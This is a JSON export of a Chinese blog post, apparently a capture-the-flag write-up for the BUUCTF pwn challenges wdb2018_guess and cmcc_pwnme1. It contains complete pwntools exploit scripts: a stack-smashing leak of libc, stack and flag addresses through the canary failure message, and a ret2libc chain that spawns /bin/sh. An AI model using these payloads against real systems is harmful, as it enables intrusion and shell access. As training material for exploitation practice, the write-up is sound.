{"id":476,"date":"2025-08-16T12:27:14","date_gmt":"2025-08-16T04:27:14","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=476"},"modified":"2025-08-16T12:27:16","modified_gmt":"2025-08-16T04:27:16","slug":"buuctfwdb2018_guessstack-smashing%e3%80%81cmcc_pwnme1","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/08\/16\/buuctfwdb2018_guessstack-smashing%e3%80%81cmcc_pwnme1\/","title":{"rendered":"buuctf:wdb2018_guess(stack smashing)\u3001cmcc_pwnme1"},"content":{"rendered":"\n


1\u3001wdb2018_guess\u5206\u6790<\/h2>\n\n\n\n
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64\u4f4d\u5f00\u4e86canary\u548cNX,\u8fd0\u884c\u8ba9\u4f60\u8f93\u5165\u4e00\u4e2a\u4e1c\u897f<\/p>\n\n\n\n

__int64 __fastcall main(__int64 a1, char **a2, char **a3)\n{\n  __int64 result; \/\/ rax@9\n  __int64 v4; \/\/ rcx@13\n  __WAIT_STATUS stat_loc; \/\/ [sp+14h] [bp-8Ch]@1\n  int v6; \/\/ [sp+1Ch] [bp-84h]@5\n  __int64 v7; \/\/ [sp+20h] [bp-80h]@1\n  __int64 v8; \/\/ [sp+28h] [bp-78h]@1\n  char buf; \/\/ [sp+30h] [bp-70h]@4\n  char s2; \/\/ [sp+60h] [bp-40h]@6\n  __int64 v11; \/\/ [sp+98h] [bp-8h]@1\n\n  v11 = *MK_FP(__FS__, 40LL);\n  v8 = 3LL;\n  LODWORD(stat_loc.__uptr) = 0;\n  v7 = 0LL;\n  sub_4009A6(a1, a2, a3);\n  HIDWORD(stat_loc.__iptr) = open(\".\/flag.txt\", 0, a2);\n  if ( HIDWORD(stat_loc.__iptr) == -1 )\n  {\n    perror(\".\/flag.txt\");\n    _exit(-1);\n  }\n  read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);\n  close(SHIDWORD(stat_loc.__iptr));\n  puts(\"This is GUESS FLAG CHALLENGE!\");\n  while ( 1 )\n  {\n    if ( v7 >= v8 )\n    {\n      puts(\"you have no sense... bye :-) \");\n      result = 0LL;\n      goto LABEL_13;\n    }\n    v6 = sub_400A11();\n    if ( !v6 )\n      break;\n    ++v7;\n    wait((__WAIT_STATUS)&stat_loc);\n  }\n  puts(\"Please type your guessing flag\");\n  gets(&s2);\/\/gets\u8f93\u5165s2\u53ef\u4ee5\u9020\u6210\u6808\u6ea2\u51fa\n  if ( !strcmp(&buf, &s2) )\n    puts(\"You must have great six sense!!!! :-o \");\n  else\n    puts(\"You should take more effort to get six sence, and one more challenge!!\");\n  result = 0LL;\nLABEL_13:\n  v4 = *MK_FP(__FS__, 40LL) ^ v11;\n  return result;\n}<\/code><\/pre>\n\n\n\n

\u8fd9\u4e2a\u60c5\u51b5\u6211\u4e5f\u662f\u7b2c\u4e00\u6b21\u9047\u5230\uff0c\u610f\u601d\u662f\u8981\u5229\u7528stack smashing\u6f0f\u6d1e\uff0c\u4e3b\u52a8\u51fa\u53d1canary\u4fdd\u62a4\u6765\u6cc4\u9732\u4e00\u4e9b\u4e1c\u897f\uff0c\u4ee5\u6ca1\u6709canary\u6211\u4eec\u57fa\u672c\u662f\u7528puts\u6216\u8005write\u6765\u6cc4\u9732libc\u561b\u3002\u8fd9\u91cc\u7a0b\u5e8f\u4f1a\u5faa\u73af\u7684\u6267\u884c\uff0c\u624b\u52a8\u8bd5\u4e86\u662f3\u6b21\uff0c\u6211\u4eec\u5148\u8ba9\u4ed6\u6ea2\u51fa\u4e00\u4e0b\u8bd5\u8bd5<\/p>\n\n\n\n
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\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u662f\u7a0b\u5e8f\u7684\u540d\u79f0pwn,\u5982\u679c\u662f\u672c\u5730\u7684\u8bdd\u5c31\u662fGUESS\uff0c\u8fd9\u4e2a\u4e1c\u897f\u5c31\u662fargv[0],\u901a\u8fc7canary\u62a5\u9519\u8f93\u51fa\uff0c\u6709\u4e00\u6bb5\u4ee3\u7801\u53ef\u4ee5\u770b\u4e00\u4e0b<\/p>\n\n\n\n
void __attribute__ ((noreturn)) __stack_chk_fail (void)\n{\n  __fortify_fail (\"stack smashing detected\");\n}\nvoid __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)\n{\n  \/* The loop is added only to keep gcc happy.  *\/\n  while (1)\n    __libc_message (2, \"*** %s ***: %s terminated\\n\",\n                    msg, __libc_argv[0] ?: \"<unknown>\");\n}<\/code><\/pre>\n\n\n\n

\u5982\u679c\u6211\u4eec\u628a\u4ed6\u6539\u6210\u67d0\u4e2a\u51fd\u6570\u7684got\u8868\u662f\u4e0d\u662f\u5c31\u53ef\u4ee5\u6cc4\u9732libc\u4e86\uff0c\u6240\u4ee5\u6211\u4eec\u8981\u8ba1\u7b97\u4e00\u4e0b\u504f\u79fb\uff0c\u8f93\u51fapwn\u7684\u65f6\u5019\u8ddd\u79bb\u6211\u4eec\u8f93\u5165\u67090x128<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",25294)\nelf=ELF(\".\/GUESS\")\n\nputs_got=elf.got['puts']\npayload=b'a'*0x128+p64(puts_got)\np.recvuntil(\"Please type your guessing flag\")\np.sendline(payload)\np.recvuntil(\"stack smashing detected ***:\")\nputs=u64(p.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))\nprint(hex(puts))\np.interactive()\n<\/code><\/pre>\n\n\n\n
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2.23,\u7136\u540e\u628a __libc_argv[0] \u8986\u76d6\u4e3a enviorn \u5730\u5740\u6cc4\u9732\u6808\u5730\u5740<\/p>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",25294)\nelf=ELF(\".\/GUESS\")\n\nputs_got=elf.got['puts']\npayload=b'a'*0x128+p64(puts_got)\np.recvuntil(\"Please type your guessing flag\")\np.sendline(payload)\np.recvuntil(\"stack smashing detected ***:\")\nputs=u64(p.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))\nprint(hex(puts))\n\nlibc=ELF(\".\/libc-2.23.so\")\nbase=puts-libc.sym['puts']\nenviron=base+libc.sym['_environ']\npayload=b'a'*0x128+p64(environ)\np.recvuntil(\"Please type your guessing flag\")\np.sendline(payload)\np.recvuntil(\"stack smashing detected ***:\")\nstack=u64(p.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))\nprint(hex(stack))\n\np.interactive()<\/code><\/pre>\n\n\n\n
\u7136\u540e\u627e\u4e00\u4e0b\u4ed6\u8ddfflag\u5730\u5740\u7684\u504f\u79fb\u662f0x168<\/p>\n\n\n\n
\u8fd8\u662f\u5f88\u5de7\u5999\u7684\uff0c\u4ee5\u4e3a\u521a\u597d3\u6b21\u6cc4\u9732\uff0c\u5c31\u662f\u8986\u76d6\u4e86\u4e09\u6b21\uff0c\u6700\u540e\u628aflag\u7684\u5730\u5740\u8986\u76d6\u4e0a\u53bb<\/p>\n\n\n\n
2\u3001wdb2018_guess flag<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",25294)\nelf=ELF(\".\/GUESS\")\n\nputs_got=elf.got['puts']\npayload=b'a'*0x128+p64(puts_got)\np.recvuntil(\"Please type your guessing flag\")\np.sendline(payload)\np.recvuntil(\"stack smashing detected ***:\")\nputs=u64(p.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))\nprint(hex(puts))\n\nlibc=ELF(\".\/libc-2.23.so\")\nbase=puts-libc.sym['puts']\nenviron=base+libc.sym['_environ']\npayload=b'a'*0x128+p64(environ)\np.recvuntil(\"Please type your guessing flag\")\np.sendline(payload)\np.recvuntil(\"stack smashing detected ***:\")\nstack=u64(p.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))\nprint(hex(stack))\n\nflag=stack-0x168\npayload=payload=b'a'*0x128+p64(flag)\np.recvuntil(\"Please type your guessing flag\")\np.sendline(payload)\n\np.interactive()<\/code><\/pre>\n\n\n\n
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3\u3001cmcc_pwnme1\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
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32\u4f4d\u5565\u4e5f\u6ca1\u5f00\uff0c\u8fd0\u884c\u4e00\u4e0b\u662f\u4e00\u4e2a\u5faa\u73af\u7684\u83dc\u5355<\/p>\n\n\n\n
main\u51fd\u6570\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u6837\u770b\u8d77\u6765case5\u503c\u5f97\u770b\u4e00\u770b<\/p>\n\n\n\n
getfruit\u51fd\u6570<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u5e94\u8be5\u662f\u53ef\u4ee5\u5229\u7528\u7684\uff0c\u6808\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u548b\u56de\u4e8b\uff1f\u4ee5\u4e3a\u5bf9\u8f93\u5165\u7684\u5927\u5c0f\u6ca1\u6709\u9650\u5236<\/p>\n\n\n\n
getflag\u51fd\u6570<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6808\u6ea2\u51fa\u4ee5\u540e\u8df3\u5230\u8fd9\u91cc\u5c31\u53ef\u4ee5\u62ffflag\u4e86<\/p>\n\n\n\n
4\u3001\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\n#p=remote(\"node5.buuoj.cn\",25476)\np=process(\".\/pwnme1\")\n\ngetflag=0x8048677\npayload=b'a'*(0xa4+4)+p32(getflag)\np.sendline(str(5))\np.recvuntil(\"Please input the name of fruit:\")\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n

\u672c\u5730\u548c\u8fdc\u7a0b\u90fd\u8bd5\u4e86\u4e00\u4e0b\uff0c\u6ca1\u6709flag\uff0c\u6240\u4ee5ret2libc\u5427<\/p>\n\n\n\n
\nfrom pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",25476)\nelf=ELF(\".\/pwnme1\")\n\nputs_got=elf.got['puts']\nputs_plt=elf.plt['puts']\nmain=elf.sym['main']\np.sendline(str(5))\np.recvuntil(\"Please input the name of fruit:\")\npayload=b'a'*(0xa4+4)+p32(puts_plt)+p32(main)+p32(puts_got)\np.sendline(payload)\nputs=u32(p.recvuntil(b'\\xf7')[-4:])\nprint(hex(puts))\n\nlibc=ELF(\".\/libc-2.23.so\")\nbase=puts-libc.sym['puts']\nsys=base+libc.sym['system']\nbinsh=base+next(libc.search(b'\/bin\/sh'))\np.sendline(str(5))\np.recvuntil(\"Please input the name of fruit:\")\npayload=b'a'*(0xa4+4)+p32(sys)+p32(0)+p32(binsh)\np.sendline(payload)\np.interactive()\n\n<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u5c31\u5230\u8fd9\u513f\u5427……<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u3001wdb2018_guess\u5206\u6790 64\u4f4d\u5f00\u4e86canary\u548cNX,\u8fd0\u884c\u8ba9\u4f60\u8f93\u5165\u4e00\u4e2a\u4e1c\u897f \u8fd9\u4e2a\u60c5\u51b5\u6211\u4e5f\u662f\u7b2c\u4e00\u6b21\u9047 […]<\/p>\n","protected":false},"author":1,"featured_media":493,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-476","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/476","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=476"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/476\/revisions"}],"predecessor-version":[{"id":494,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/476\/revisions\/494"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/493"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=476"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=476"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=476"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}